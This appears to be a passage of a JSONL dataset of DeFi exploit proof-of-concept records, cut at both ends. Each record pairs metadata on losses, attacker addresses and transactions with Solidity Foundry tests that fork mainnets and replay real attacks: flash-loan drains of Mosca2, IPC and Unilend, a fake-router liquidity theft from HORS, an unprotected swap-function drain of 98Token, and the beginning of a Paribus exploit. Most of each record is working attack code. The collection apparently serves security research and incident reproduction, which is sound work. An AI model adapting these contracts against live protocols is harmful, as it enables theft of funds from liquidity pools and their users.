0xd8791F0C10B831B605C5D48959EB763B266940B9;\n address internal constant BUSD = 0x55d398326f99059fF775485246999027B3197955;\n address internal constant USDC = 0x8AC76a51cc950d9822D68b83fE1Ad97B32Cd580d;\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", blocknumToForkFrom);\n //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit\n fundingToken = address(USDC);\n }\n\n function testExploit() public balanceLog {\n uint256 baseAmount = 0;\n uint256 quoteAmonut = 7_000_000_000_000_000_000_000;\n address assetTo = address(this);\n bytes memory data = abi.encode(\"0xdead\");\n IDODO(DPP).flashLoan(baseAmount, quoteAmonut, assetTo, data);\n }\n\n function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {\n IERC20(BUSD).approve(Mosca, type(uint).max);\n IERC20(USDC).approve(Mosca, type(uint).max);\n for(uint256 i=0;i<7;i++) {\n uint256 amount = 1_000_000_000_000_000_000_000;\n uint256 _refCode = 0;\n uint8 fiat = 1;\n bool enterpriseJoin = false;\n IMosca(Mosca).join(amount, _refCode, fiat, enterpriseJoin);\n }\n\n IMosca(Mosca).withdrawFiat(18_671_180_855_284_200_248_407, false, 1);\n IMosca(Mosca).withdrawFiat(26_648_013_000_000_000_000_000, false, 0);\n\n IERC20(BUSD).transfer(DPP, quoteAmount);\n }\n}\n", "type": "exploit_poc", "protocol": "Mosca2", "date": "2025-01", "file_name": "Mosca2_exp.sol", "attack_vector": "flash_loan", "content_hash": "24cfab6d0530ce6c", "collected_at": "2026-01-07T10:59:16.544331", "_source": "postmortems", "chain": "bsc", "block_number": null, "total_lost_raw": "37.6K", "total_lost_usd": 37600.0, "attacker_address": "https://bscscan.com/address/0xe763da20e25103da8e6afa84b6297f87de557419", "attack_contract": "https://bscscan.com/address/0xedcfa34e275120e7d18edbbb0a6171d8ad3ccf54", "vulnerable_contract": "https://bscscan.com/address/0xd8791f0c10b831b605c5d48959eb763b266940b9", "attack_tx": "https://bscscan.com/tx/0xf13d281d4aa95f1aca457bd17f2531581b0ce918c90905d65934c9e67f6ae0ec", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": "37.6K", "category": "flash-loan", "exploit_code": "function testExploit() public balanceLog {\n uint256 baseAmount = 0;\n uint256 quoteAmonut = 7_000_000_000_000_000_000_000;\n address assetTo = address(this);\n bytes memory data = abi.encode(\"0xdead\");\n IDODO(DPP).flashLoan(baseAmount, quoteAmonut, assetTo, data);\n }", "has_exploit_code": true, "keyinfo_total_lost": "37.6K", "keyinfo_attacker": "https://bscscan.com/address/0xe763da20e25103da8e6afa84b6297f87de557419", "keyinfo_attack_contract": "https://bscscan.com/address/0xedcfa34e275120e7d18edbbb0a6171d8ad3ccf54", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0xd8791f0c10b831b605c5d48959eb763b266940b9", "keyinfo_attack_tx": "https://bscscan.com/tx/0xf13d281d4aa95f1aca457bd17f2531581b0ce918c90905d65934c9e67f6ae0ec", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$37.6K", "content_richness_score": 8.44, "quality_estimate": "high", "title": "Mosca2 Exploit (2025-01)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"../basetest.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : 14.8 WBNB\n// Attacker : https://bscscan.com/address/0x8Efb9311700439d70025d2B372fb54c61a60d5DF\n// Attack Contract : https://bscscan.com/address/0x75ff620FF0e63243e86b99510cDbaD1D5e76524E\n// Vulnerable Contract : https://bscscan.com/address/0x6f3390c6C200e9bE81b32110CE191a293dc0eaba\n// Attack Tx : https://bscscan.com/tx/0xc8572846ed313b12bf835e2748ff37dacf6b8ee1bab36972dc4ace5e9f25fed7\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0x6f3390c6C200e9bE81b32110CE191a293dc0eaba#code\n\n// @Analysis\n// Post-mortem : N/A\n// Twitter Guy : https://x.com/TenArmorAlert/status/1877032470098428058\n// Hacking God : N/A\npragma solidity ^0.8.0;\n\naddress constant HORS_ADDR = 0x1Bb30f2AD8Ff43BCD9964a97408B74f1BC6C8bc0;\naddress constant PANCAKE_V3_POOL = 0x172fcD41E0913e95784454622d1c3724f546f849;\naddress constant BSC_USD = 0x55d398326f99059fF775485246999027B3197955;\naddress constant WBNB_ADDR = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;\naddress constant CAKE_LP = 0xd5868B2e2B510A91964AbaFc2D683295586A8C70;\naddress constant PANCAKE_ROUTER = 0x10ED43C718714eb63d5aA57B78B54704E256024E;\naddress constant VULN_CONTRACT = 0x6f3390c6C200e9bE81b32110CE191a293dc0eaba;\n\ncontract HORS is BaseTestWithBalanceLog {\n uint256 blocknumToForkFrom = 45587949 - 1;\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", blocknumToForkFrom);\n //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit\n fundingToken = WBNB_ADDR;\n }\n\n function testExploit() public balanceLog {\n //implement exploit code here\n AttackContract attackContract = new AttackContract();\n attackContract.attack();\n }\n}\n\n\ncontract AttackContract {\n address public attacker;\n constructor() {\n attacker = msg.sender;\n }\n function attack() public {\n bytes memory data = \"\";\n IPancakeV3Pool(PANCAKE_V3_POOL).flash(address(this), 0, 0.1 ether, data);\n }\n\n function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) public {\n // The VULN_CONTRACT contract, which holds the WBNB/HORS LP tokens, lacks proper input validation.\n // attacker used a fake router contract (this) to drain the tokens.\n bytes memory payload = abi.encodeWithSelector(\n bytes4(0xf78283c7),\n HORS_ADDR,\n address(this),\n CAKE_LP\n );\n (bool success, bytes memory returnData) = VULN_CONTRACT.call(payload);\n require(success, string(returnData));\n\n IERC20(CAKE_LP).approve(PANCAKE_ROUTER, type(uint256).max);\n uint256 balance = IERC20(CAKE_LP).balanceOf(address(this));\n IPancakeRouter(payable(PANCAKE_ROUTER)).removeLiquidity(WBNB_ADDR, HORS_ADDR, balance, 0, 0, address(this), block.timestamp);\n\n IERC20(WBNB_ADDR).transfer(PANCAKE_V3_POOL, 0.1 ether + fee1);\n IERC20(WBNB_ADDR).transfer(attacker, IERC20(WBNB_ADDR).balanceOf(address(this)));\n }\n\n function addLiquidity(\n address tokenA,\n address tokenB,\n uint256 amountADesired,\n uint256 amountBDesired,\n uint256 amountAMin,\n uint256 amountBMin,\n address to,\n uint256 deadline\n ) public returns (uint256, uint256, uint256) {\n uint256 horsBalance = IERC20(CAKE_LP).balanceOf(VULN_CONTRACT);\n IERC20(CAKE_LP).transferFrom(VULN_CONTRACT, address(this), horsBalance);\n }\n \n}\n", "type": "exploit_poc", "protocol": "HORS", "date": "2025-01", "file_name": "HORS_exp.sol", "attack_vector": null, "content_hash": "a2e53da1afb97ddf", "collected_at": "2026-01-07T10:59:16.544380", "_source": "postmortems", "chain": "bsc", "block_number": null, "total_lost_raw": "14.8 WBNB", "total_lost_usd": 14.8, "attacker_address": "https://bscscan.com/address/0x8Efb9311700439d70025d2B372fb54c61a60d5DF", "attack_contract": "https://bscscan.com/address/0x75ff620FF0e63243e86b99510cDbaD1D5e76524E", "vulnerable_contract": "https://bscscan.com/address/0x6f3390c6C200e9bE81b32110CE191a293dc0eaba", "attack_tx": "https://bscscan.com/tx/0xc8572846ed313b12bf835e2748ff37dacf6b8ee1bab36972dc4ace5e9f25fed7", "postmortem_url": null, "twitter_url": "https://x.com/TenArmorAlert/status/1877032470098428058", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "low", "severity_raw": "14.8 WBNB", "category": "unknown", "exploit_code": "function testExploit() public balanceLog {\n //implement exploit code here\n AttackContract attackContract = new AttackContract();\n attackContract.attack();\n }\n}\n\n\ncontract AttackContract {\n address public attacker;\n constructor() {\n attacker = msg.sender;\n }", "has_exploit_code": true, "keyinfo_total_lost": "14.8 WBNB", "keyinfo_attacker": "https://bscscan.com/address/0x8Efb9311700439d70025d2B372fb54c61a60d5DF", "keyinfo_attack_contract": "https://bscscan.com/address/0x75ff620FF0e63243e86b99510cDbaD1D5e76524E", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0x6f3390c6C200e9bE81b32110CE191a293dc0eaba", "keyinfo_attack_tx": "https://bscscan.com/tx/0xc8572846ed313b12bf835e2748ff37dacf6b8ee1bab36972dc4ace5e9f25fed7", "analysis_postmortem": "", "analysis_twitter": "https://x.com/TenArmorAlert/status/1877032470098428058", "funds_lost_formatted": "$15", "content_richness_score": 7.8, "quality_estimate": "medium", "title": "HORS Exploit (2025-01)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n// reason : To pump the price ,every sell will burn pairs token, that is terrible!\n// guy : https://x.com/TenArmorAlert/status/1876663900663370056\n// tx : https://app.blocksec.com/explorer/tx/bsc/0x5ef1edb9749af6cec511741225e6d47103e0b647d1e41e08649caaff66942a91?line=30 -->front run\n// : https://app.blocksec.com/explorer/tx/bsc/0x3a3683119e1801821faa15c319cb9c8fb3fcf6ee92b1904a829d82c432e09a44?line=24 -->poor guys \n// total loss : 590k usdt XD\n\ncontract ContractTest is Test {\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n address dvm1 = 0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476;\n address dvm2 = 0x0e15e47C3DE9CD92379703cf18251a2D13E155A7;\n IERC20 IPC = IERC20(0xEAb0d46682Ac707A06aEFB0aC72a91a3Fd6Fe5d1);\n IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n Uni_Pair_V2 pair = Uni_Pair_V2(0xDe3595a72f35d587e96d5C7B6f3E6C02ed2900AB);\n Uni_Router_V2 router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n\n uint256 borrow_1 = 256285582578788161478508;\n uint256 borrow_2 = 77794276765052816860394;\n\n function setUp() external {\n cheats.createSelectFork(\"bsc\", 45561316 - 1);\n // attacker buy sor\n deal(address(this),0);\n deal(address(USDT),address(this),0);\n }\n\n function testExploit() external {\n emit log_named_decimal_uint(\"[Begin] USDT balance before\", USDT.balanceOf(address(this)), 18);\n \n\n (bool success,) = dvm1.call(abi.encodeWithSignature(\"flashLoan(uint256,uint256,address,bytes)\", 0, borrow_1, address(this), \"1\"));\n require(success, \"flashloan failed\");\n\n emit log_named_decimal_uint(\"[End] USDT balance after\", USDT.balanceOf(address(this)), 18);\n }\n\n function dodoCall(address a, uint256 b, uint256 c, bytes memory d) public {\n console.log(msg.sender);\n if(msg.sender == address(dvm1)){\n (bool success,) = dvm2.call(abi.encodeWithSignature(\"flashLoan(uint256,uint256,address,bytes)\", 0, borrow_2, address(this), \"1\"));\n require(success, \"flashloan failed\");\n USDT.transfer(address(dvm1), borrow_1);\n }\n\n if(msg.sender == address(dvm2)){\n console.log(\"Pair balance\",IPC.balanceOf(address(pair)));\n console.log(\"USDT balance\",USDT.balanceOf(address(this)));\n \n address[] memory path = new address[](2);\n\n \n for(uint i = 0; i < 16; i++) {\n path[0] = address(USDT);\n path[1] = address(IPC);\n uint256 usdtAmount = USDT.balanceOf(address(this)) - 10;\n uint256[] memory values = router.getAmountsOut(usdtAmount, path);\n\n //\u4e3a\u4e86\u7ed5\u8fc7\u65f6\u95f4\u9501\u7684\u68c0\u67e5\uff0c\u540c\u6b65\u63621 usdt\u51fa\u6765\n pair.swap(1, values[1], address(this), abi.encode(usdtAmount));\n\n // \u5c06IPC\u5168\u90e8\u6362\u6210USDT\n IPC.approve(address(router), type(uint256).max);\n path[0] = address(IPC); \n path[1] = address(USDT);\n router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n IPC.balanceOf(address(this)),\n 0,\n path,\n address(this),\n block.timestamp\n );\n \n path[0] = address(USDT);\n path[1] = address(IPC);\n }\n\n \n USDT.transfer(address(dvm2), borrow_2);\n }\n }\n\n function pancakeCall(address, uint256, uint256 amount1, bytes memory data) public {\n uint256 usdt_amount = abi.decode(data, (uint256));\n console.log(\"USDT transferd\",usdt_amount);\n //\u591a\u6362\u4e861 usdt\uff0c\u6240\u4ee5\u591a\u8fd81\u4e2a\n USDT.transfer(address(pair), usdt_amount+1);\n }\n \n\n function DVMFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {\n dodoCall(sender, baseAmount, quoteAmount, data);\n }\n\n function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {\n dodoCall(sender, baseAmount, quoteAmount, data);\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "IPC", "date": "2025-01", "file_name": "IPC_exp.sol", "attack_vector": "flash_loan", "content_hash": "2c98998c2dd63f7b", "collected_at": "2026-01-07T10:59:16.544443", "_source": "postmortems", "chain": "unknown", "block_number": 45561316, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": true, "severity": "medium", "severity_raw": null, "category": "flash-loan", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 3.14, "quality_estimate": "low", "title": "IPC Exploit (2025-01)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n// reason : Unprotected public function\n// guy : https://x.com/TenArmorAlert/status/1875462686353363435\n// tx : https://app.blocksec.com/explorer/tx/bsc/0x61da5b502a62d7e9038d73e31ceb3935050430a7f9b7e29b9b3200db3095f91d\n// total loss : 28kusdt\n\ncontract ContractTest is Test {\n IWBNB WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n Uni_Pair_V3 pool = Uni_Pair_V3(0x92b7807bF19b7DDdf89b706143896d05228f3121);\n Uni_Pair_V2 pair = Uni_Pair_V2(0x5E901164858d75852EF548B3729f44Dd93209c9c);\n Uni_Router_V2 router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n Uni_Router_V3 routerV3 = Uni_Router_V3(0x1b81D678ffb9C0263b24A97847620C99d213eB14);\n IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IERC20 token_98 = IERC20(0xc0dDfD66420ccd3a337A17dD5D94eb54ab87523F);\n address swapContract = 0xB040D88e61EA79a1289507d56938a6AD9955349C;\n\n\n function setUp() external {\n cheats.createSelectFork(\"bsc\", 45462898-1);\n deal(address(USDT), address(this), 0);\n // deal(address(WBNB), address(this), 11 ether);\n }\n\n function testExploit() external {\n emit log_named_decimal_uint(\"[Begin] Attacker USDT before exploit\", USDT.balanceOf(address(this)), 18);\n uint256 token_amount = token_98.balanceOf(swapContract);\n address[] memory path = new address[](2);\n path[0] = address(token_98);\n path[1] = address(USDT);\n \n bytes memory callData = abi.encodeWithSignature(\n \"swapTokensForTokens(address[],uint256,uint256,address)\",\n path,\n token_amount,\n 0,\n address(this)\n );\n \n (bool success,) = swapContract.call(callData);\n require(success, \"swap failed\");\n emit log_named_decimal_uint(\"[End] Attacker USDT after exploit\", USDT.balanceOf(address(this)), 18);\n }\n\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "98Token", "date": "2025-01", "file_name": "98Token_exp.sol", "attack_vector": null, "content_hash": "ef40858e32b7da3e", "collected_at": "2026-01-07T10:59:16.544500", "_source": "postmortems", "chain": "unknown", "block_number": 45462898, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 1.07, "quality_estimate": "low", "title": "98Token Exploit (2025-01)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"../basetest.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : 60 stETH\n// Attacker : https://etherscan.io/address/0x55f5f8058816d5376df310770ca3a2e294089c33\n// Attack Contract : https://etherscan.io/address/0x3f814e5fae74cd73a70a0ea38d85971dfa6fda21\n// Vulnerable Contract : https://etherscan.io/address/0x4e34dd25dbd367b1bf82e1b5527dbbe799fad0d0\n// Attack Tx : https://etherscan.io/tx/0x44037ffc0993327176975e08789b71c1058318f48ddeff25890a577d6555b6ba\n\n// @Info\n// Vulnerable Contract Code : https://etherscan.io/address/0x4e34dd25dbd367b1bf82e1b5527dbbe799fad0d0#code\n\n// @Analysis\n// Post-mortem : https://slowmist.medium.com/analysis-of-the-unilend-hack-90022fa35a54\n// Twitter Guy : https://x.com/SlowMist_Team/status/1878651772375572573\n// Hacking God : N/A\npragma solidity ^0.8.0;\n\n\naddress constant USDC_ADDR = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;\naddress constant MORPHO = 0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb;\naddress constant UNILEND_CORE = 0x7f2E24D2394f2bdabb464B888cb02EbA6d15B958;\n// usdc / stETH pool\naddress constant UNILEND_POOL = 0x4E34DD25Dbd367B1bF82E1B5527DBbE799fAD0d0;\naddress constant UNILEND_POSITION = 0xc45e4aE09c772D143677280f0a764f34F497677a;\naddress constant WSTETH = 0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0;\naddress constant STETH = 0xae7ab96520DE3A18E5e111B5EaAb095312D7fE84;\naddress constant ATTACKER2 = 0x6a1F503bfEc09b6A5D3eFdDDea8BA9dCeb9ec2d1;\n\ncontract Unilend is BaseTestWithBalanceLog {\n uint256 blocknumToForkFrom = 21608004 - 1;\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", blocknumToForkFrom);\n //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit\n fundingToken = STETH;\n }\n\n function testExploit() public balanceLog {\n // Step 1: attacker pledged 200 USDC to the UnilendV2Pool\n // https://app.blocksec.com/explorer/tx/eth/0xdaf42127499f878b62fc5ba2103135de1c36e1646487cee309c077296814f5ff\n\n // Step 2: transfer the 150,237,398 USDC lendShares to the attack contract\n // https://app.blocksec.com/explorer/tx/eth/0xefa9c4383dc58e492cd1c670d2661968db28fa7557b9c8f90685e5a6cbbf41fe\n AttackContract attackContract = new AttackContract();\n vm.prank(ATTACKER2);\n IERC721(UNILEND_POSITION).safeTransferFrom(ATTACKER2, address(attackContract), 115);\n\n // Step 3\n // https://app.blocksec.com/explorer/tx/eth/0x44037ffc0993327176975e08789b71c1058318f48ddeff25890a577d6555b6ba\n attackContract.attack();\n }\n}\n\ncontract AttackContract {\n address public attacker;\n constructor() {\n attacker = msg.sender;\n }\n function attack() public {\n setApprove();\n\n uint256 num = 0x73;\n bytes memory data = abi.encode(num, USDC_ADDR);\n // Step 4: borrow 60M USDC\n IMorphoBuleFlashLoan(MORPHO).flashLoan(USDC_ADDR, 60_000_000_000_000, data);\n }\n\n function setApprove() public {\n IERC20(USDC_ADDR).approve(MORPHO, type(uint256).max);\n IERC20(USDC_ADDR).approve(UNILEND_CORE, type(uint256).max);\n IERC20(WSTETH).approve(MORPHO, type(uint256).max);\n IERC20(STETH).approve(UNILEND_CORE, type(uint256).max);\n IERC20(STETH).approve(WSTETH, type(uint256).max);\n }\n\n function onMorphoFlashLoan(uint256 amount, bytes calldata data) public {\n (uint256 num, address addr) = abi.decode(data, (uint256, address));\n if (addr == USDC_ADDR) {\n // Step 5: borrow 5.7 wstETH\n setApprove();\n\n // Constant chosen to exploit the miscalculated health factor bug.\n // Allows the attacker to borrow just enough stETH to drain the entire pool.\n // check Post-mortem for more details\n uint256 wstAmount = 5_757_882_098_882_308_991;\n\n // Liquidity0 usdc, Liquidity1 stETH\n // uint256 availableLiquidity0 = IUnilendV2Pool(UNILEND_POOL).getAvailableLiquidity0();\n uint256 availableLiquidity1 = IUnilendV2Pool(UNILEND_POOL).getAvailableLiquidity1();\n\n uint256 num = 0x73;\n bytes memory data = abi.encode(num, WSTETH);\n wstAmount = IWstETH(WSTETH).getWstETHByStETH(availableLiquidity1);\n IMorphoBuleFlashLoan(MORPHO).flashLoan(WSTETH, wstAmount, data);\n \n } else if (addr == WSTETH) {\n // Step 6: exploit the vulnerability\n // wstETH -> stETH\n uint256 stAmount = IWstETH(WSTETH).unwrap(amount);\n\n IUniLendV2Core unilendCore = IUniLendV2Core(UNILEND_CORE);\n\n int borrowAmount = int(IERC20(STETH).balanceOf(UNILEND_POOL));\n\n // 60M USDC\n int usdcAmount = 60_000_000_000_000;\n unilendCore.lend(UNILEND_POOL, -usdcAmount);\n unilendCore.lend(UNILEND_POOL, int(stAmount));\n\n unilendCore.borrow(UNILEND_POOL, borrowAmount, 0, address(this));\n\n unilendCore.redeemUnderlying(UNILEND_POOL, int(stAmount), address(this));\n unilendCore.redeemUnderlying(UNILEND_POOL, -usdcAmount, address(this));\n\n IWstETH(WSTETH).wrap(IWstETH(WSTETH).getStETHByWstETH(amount) + 1 wei);\n uint256 stETHAmount = IERC20(STETH).balanceOf(address(this));\n IERC20(STETH).transfer(attacker, stETHAmount);\n }\n }\n\n function onERC721Received(address, address, uint256, bytes calldata) external pure returns (bytes4) {\n return IERC721Receiver.onERC721Received.selector;\n }\n}\n\ninterface IWstETH {\n function unwrap(uint256 _wstETHAmount) external returns (uint256);\n function wrap(uint256 _stETHAmount) external returns (uint256);\n function getWstETHByStETH(uint256 _stETHAmount) external view returns (uint256);\n function getStETHByWstETH(uint256 _wstETHAmount) external view returns (uint256);\n}\n\ninterface IUniLendV2Core {\n function lend(address _pool, int _amount) external returns(int mintedTokens);\n function borrow(address _pool, int _amount, uint _collateral_ammount, address _recipient) external;\n function redeemUnderlying(address _pool, int _amount, address _receiver) external returns(int _token_amount);\n}\n\ninterface IUnilendV2Pool {\n function userSharesOftoken0(uint _nftID) external view returns (uint _lendShare0, uint _borrowShare0);\n function userSharesOftoken1(uint _nftID) external view returns (uint _lendShare1, uint _borrowShare1);\n function userBalanceOftoken0(uint _nftID) external view returns (uint _lendBalance0, uint _borrowBalance0);\n function userBalanceOftoken1(uint _nftID) external view returns (uint _lendBalance1, uint _borrowBalance1);\n function getAvailableLiquidity0() external view returns (uint _available);\n function getAvailableLiquidity1() external view returns (uint _available);\n function getLTV() external view returns (uint);\n function getLB() external view returns (uint);\n function getRF() external view returns (uint);\n}\n\ninterface IERC721Receiver {\n function onERC721Received(address, address, uint256, bytes calldata) external returns (bytes4);\n}", "type": "exploit_poc", "protocol": "Unilend", "date": "2025-01", "file_name": "Unilend_exp.sol", "attack_vector": "flash_loan", "content_hash": "982262718d714417", "collected_at": "2026-01-07T10:59:16.544546", "_source": "postmortems", "chain": "ethereum", "block_number": null, "total_lost_raw": "60 stETH", "total_lost_usd": 60.0, "attacker_address": "https://etherscan.io/address/0x55f5f8058816d5376df310770ca3a2e294089c33", "attack_contract": "https://etherscan.io/address/0x3f814e5fae74cd73a70a0ea38d85971dfa6fda21", "vulnerable_contract": "https://etherscan.io/address/0x4e34dd25dbd367b1bf82e1b5527dbbe799fad0d0", "attack_tx": "https://etherscan.io/tx/0x44037ffc0993327176975e08789b71c1058318f48ddeff25890a577d6555b6ba", "postmortem_url": "https://slowmist.medium.com/analysis-of-the-unilend-hack-90022fa35a54", "twitter_url": "https://x.com/SlowMist_Team/status/1878651772375572573", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "low", "severity_raw": "60 stETH", "category": "flash-loan", "exploit_code": "function testExploit() public balanceLog {\n // Step 1: attacker pledged 200 USDC to the UnilendV2Pool\n // https://app.blocksec.com/explorer/tx/eth/0xdaf42127499f878b62fc5ba2103135de1c36e1646487cee309c077296814f5ff\n\n // Step 2: transfer the 150,237,398 USDC lendShares to the attack contract\n // https://app.blocksec.com/explorer/tx/eth/0xefa9c4383dc58e492cd1c670d2661968db28fa7557b9c8f90685e5a6cbbf41fe\n AttackContract attackContract = new AttackContract();\n vm.prank(ATTACKER2);\n IERC721(UNILEND_POSITION).safeTransferFrom(ATTACKER2, address(attackContract), 115);\n\n // Step 3\n // https://app.blocksec.com/explorer/tx/eth/0x44037ffc0993327176975e08789b71c1058318f48ddeff25890a577d6555b6ba\n attackContract.attack();\n }\n}\n\ncontract AttackContract {\n address public attacker;\n constructor() {\n attacker = msg.sender;\n }", "has_exploit_code": true, "keyinfo_total_lost": "60 stETH", "keyinfo_attacker": "https://etherscan.io/address/0x55f5f8058816d5376df310770ca3a2e294089c33", "keyinfo_attack_contract": "https://etherscan.io/address/0x3f814e5fae74cd73a70a0ea38d85971dfa6fda21", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0x4e34dd25dbd367b1bf82e1b5527dbbe799fad0d0", "keyinfo_attack_tx": "https://etherscan.io/tx/0x44037ffc0993327176975e08789b71c1058318f48ddeff25890a577d6555b6ba", "analysis_postmortem": "https://slowmist.medium.com/analysis-of-the-unilend-hack-90022fa35a54", "analysis_twitter": "https://x.com/SlowMist_Team/status/1878651772375572573", "funds_lost_formatted": "$60", "content_richness_score": 10, "quality_estimate": "high", "title": "Unilend Exploit (2025-01)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": true} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"./../basetest.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~86k\n// Attacker : https://arbiscan.io/address/0x56190CAC88b8D4b5D5Ed668ef81828913932e7Ed\n// Attack Contract : https://arbiscan.io/tx/0x43aa42d2f11afe42832a9619bc8066dfb83a921798b91eaf9d0345dd27dcfb06\n// Vulnerable Contract : https://arbiscan.io/address/0xaffd437801434643b734d0b2853654876f66f7d7\n// Attack Tx : https://arbiscan.io/tx/0xf5e753d3da60db214f2261343c1e1bc46e674d2fa4b7a953eaf3c52123aeebd2\n\n// @Info\n// Vulnerable Contract Code : https://arbiscan.io/address/0xaffd437801434643b734d0b2853654876f66f7d7#code\n\n// @Analysis\n// Post-mortem : https://bitfinding.com/blog/paribus-hack-interception\n// Twitter Guy : https://x.com/BitFinding/status/1882880682512527516\n// Hacking God : \n\ninterface NFTPositionManager {\n function mint(uint256) external;\n\n function mint(\n MintParams calldata params\n ) external payable returns (uint256 tokenId, uint128 liquidity, uint256 amount0, uint256 amount1);\n\n function approve(address to, uint256 tokenId) external;\n\n struct MintParams {\n address token0;\n address token1;\n int24 tickLower;\n int24 tickUpper;\n uint256 amount0Desired;\n uint256 amount1Desired;\n uint256 amount0Min;\n uint256 amount1Min;\n address recipient;\n uint256 deadline;\n }\n}\n\ninterface CamelotRouter {\n function exactInputSingle(ExactInputSingleParams calldata params) external payable returns (uint256 amountOut);\n\n struct ExactInputSingleParams {\n address tokenIn;\n address tokenOut;\n address recipient;\n uint256 deadline;\n uint256 amountIn;\n uint256 amountOutMinimum;\n uint160 limitSqrtPrice;\n }\n}\n\ninterface ControllerNFT {\n function enterNFTMarkets(address[] calldata pNFTTokens) external;\n}\n\ninterface PBXToken is IERC20 {\n function mint(uint256 tokenId) external;\n function borrow(uint256) external returns (uint256);\n}\n\ncontract ParibusExploit is BaseTestWithBalanceLog {\n IAaveFlashloan private constant Aave = IAaveFlashloan(0x794a61358D6845594F94dc1DB02A252b5b4814aD);\n CamelotRouter CamelotRouterV3 = CamelotRouter(0x1F721E2E82F6676FCE4eA07A5958cF098D339e18);\n Uni_Router_V3 UniswapRouterV3 = Uni_Router_V3(0xE592427A0AEce92De3Edee1F18E0157C05861564);\n NFTPositionManager CamelotNFTPositionManager = NFTPositionManager(0x00c7f3082833e796A5b3e4Bd59f6642FF44DCD15);\n ControllerNFT ComptrollerNFT = ControllerNFT(0x712E2B12D75fe092838A3D2ad14B6fF73d3fdbc9);\n NFTPositionManager PNFTTokenDelegator = NFTPositionManager(0xa26B6Df27F520017a2F0A5b0C0aA9C97D05f1f26);\n IERC20 WBTC = IERC20(0x2f2a2543B76A4166549F7aaB2e75Bef0aefC5B0f);\n IERC20 WETH = IERC20(0x82aF49447D8a07e3bd95BD0d56f35241523fBab1);\n //ETH is created as address(0) in the setUp()\n IERC20 USDT = IERC20(0xFd086bC7CD5C481DCC9C85ebE478A1C0b69FCbb9);\n IERC20 PBX = IERC20(0xbAD58ed9b5f26A002ea250D7A60dC6729a4a2403);\n IERC20 ARB_DAO = 